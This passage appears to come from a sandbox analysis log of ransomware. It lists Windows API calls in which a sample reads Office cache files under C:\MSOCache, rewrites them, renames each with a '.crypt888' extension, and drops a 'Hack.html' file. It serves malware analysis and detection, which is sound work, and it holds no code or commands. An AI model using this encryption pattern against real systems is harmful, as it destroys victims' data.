users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.380] GetFileType (hFile=0x258) returned 0x1 [0068.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.380] GetFileType (hFile=0x258) returned 0x1 [0068.380] WriteFile (in: hFile=0x258, lpBuffer=0x2831408*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2831408*, lpNumberOfBytesWritten=0x39ed48*=0x41e0, lpOverlapped=0x0) returned 1 [0068.381] CloseHandle (hObject=0x258) returned 1 [0068.386] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpFilePart=0x0) returned 0x4d [0068.386] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.crypt888", lpFilePart=0x0) returned 0x56 [0068.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.386] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9f51560, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x41e0)) returned 1 [0068.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.387] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.crypt888")) returned 1 [0068.387] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.388] GetFileType (hFile=0x258) returned 0x1 [0068.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.388] GetFileType (hFile=0x258) returned 0x1 [0068.388] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x7976 [0068.388] ReadFile (in: hFile=0x258, lpBuffer=0x2835ac0, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2835ac0*, lpNumberOfBytesRead=0x39ed58*=0x7976, lpOverlapped=0x0) returned 1 [0068.397] CloseHandle (hObject=0x258) returned 1 [0068.417] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.418] GetFileType (hFile=0x258) returned 0x1 [0068.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.419] GetFileType (hFile=0x258) returned 0x1 [0068.419] WriteFile (in: hFile=0x258, lpBuffer=0x28a8808*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x28a8808*, lpNumberOfBytesWritten=0x39ed48*=0x7980, lpOverlapped=0x0) returned 1 [0068.420] CloseHandle (hObject=0x258) returned 1 [0068.421] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.422] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0068.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.422] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9fc3980, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7980)) returned 1 [0068.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.422] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0068.422] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0068.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.423] GetFileType (hFile=0x258) returned 0x1 [0068.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.423] GetFileType (hFile=0x258) returned 0x1 [0068.459] WriteFile (in: hFile=0x258, lpBuffer=0x26b0b80*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26b0b80*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.460] CloseHandle (hObject=0x258) returned 1 [0068.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.461] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0068.461] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0068.461] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1a8 [0068.473] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.473] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.473] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.473] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.474] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.475] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.475] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.475] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.476] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0068.476] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0068.476] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1a8 [0068.477] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.477] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.479] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.479] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.479] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0068.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.480] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.480] GetFileType (hFile=0x258) returned 0x1 [0068.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.480] GetFileType (hFile=0x258) returned 0x1 [0068.481] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x10b2 [0068.481] ReadFile (in: hFile=0x258, lpBuffer=0x26b5d94, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26b5d94*, lpNumberOfBytesRead=0x39ed58*=0x10b2, lpOverlapped=0x0) returned 1 [0068.489] CloseHandle (hObject=0x258) returned 1 [0068.537] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.538] GetFileType (hFile=0x258) returned 0x1 [0068.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.538] GetFileType (hFile=0x258) returned 0x1 [0068.538] WriteFile (in: hFile=0x258, lpBuffer=0x2708078*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2708078*, lpNumberOfBytesWritten=0x39ed48*=0x10c0, lpOverlapped=0x0) returned 1 [0068.539] CloseHandle (hObject=0x258) returned 1 [0068.539] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.540] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888", lpFilePart=0x0) returned 0x56 [0068.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.540] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xba0ce320, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10c0)) returned 1 [0068.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.540] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.crypt888")) returned 1 [0068.540] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpFilePart=0x0) returned 0x4c [0068.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.541] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.542] GetFileType (hFile=0x258) returned 0x1 [0068.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.542] GetFileType (hFile=0x258) returned 0x1 [0068.542] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1915 [0068.542] ReadFile (in: hFile=0x258, lpBuffer=0x270966c, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x270966c*, lpNumberOfBytesRead=0x39ed58*=0x1915, lpOverlapped=0x0) returned 1 [0068.545] CloseHandle (hObject=0x258) returned 1 [0068.563] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpFilePart=0x0) returned 0x4c [0068.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.564] GetFileType (hFile=0x258) returned 0x1 [0068.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.565] GetFileType (hFile=0x258) returned 0x1 [0068.565] WriteFile (in: hFile=0x258, lpBuffer=0x275e1d4*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x275e1d4*, lpNumberOfBytesWritten=0x39ed48*=0x1920, lpOverlapped=0x0) returned 1 [0068.566] CloseHandle (hObject=0x258) returned 1 [0068.566] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpFilePart=0x0) returned 0x4c [0068.566] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.crypt888", lpFilePart=0x0) returned 0x55 [0068.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.567] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xba11a5e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1920)) returned 1 [0068.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.567] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.crypt888")) returned 1 [0068.567] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.568] GetFileType (hFile=0x258) returned 0x1 [0068.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.568] GetFileType (hFile=0x258) returned 0x1 [0068.568] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x412b [0068.568] ReadFile (in: hFile=0x258, lpBuffer=0x275ffa8, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x275ffa8*, lpNumberOfBytesRead=0x39ed58*=0x412b, lpOverlapped=0x0) returned 1 [0068.573] CloseHandle (hObject=0x258) returned 1 [0068.587] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.587] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.588] GetFileType (hFile=0x258) returned 0x1 [0068.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.588] GetFileType (hFile=0x258) returned 0x1 [0068.588] WriteFile (in: hFile=0x258, lpBuffer=0x27c1360*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27c1360*, lpNumberOfBytesWritten=0x39ed48*=0x4130, lpOverlapped=0x0) returned 1 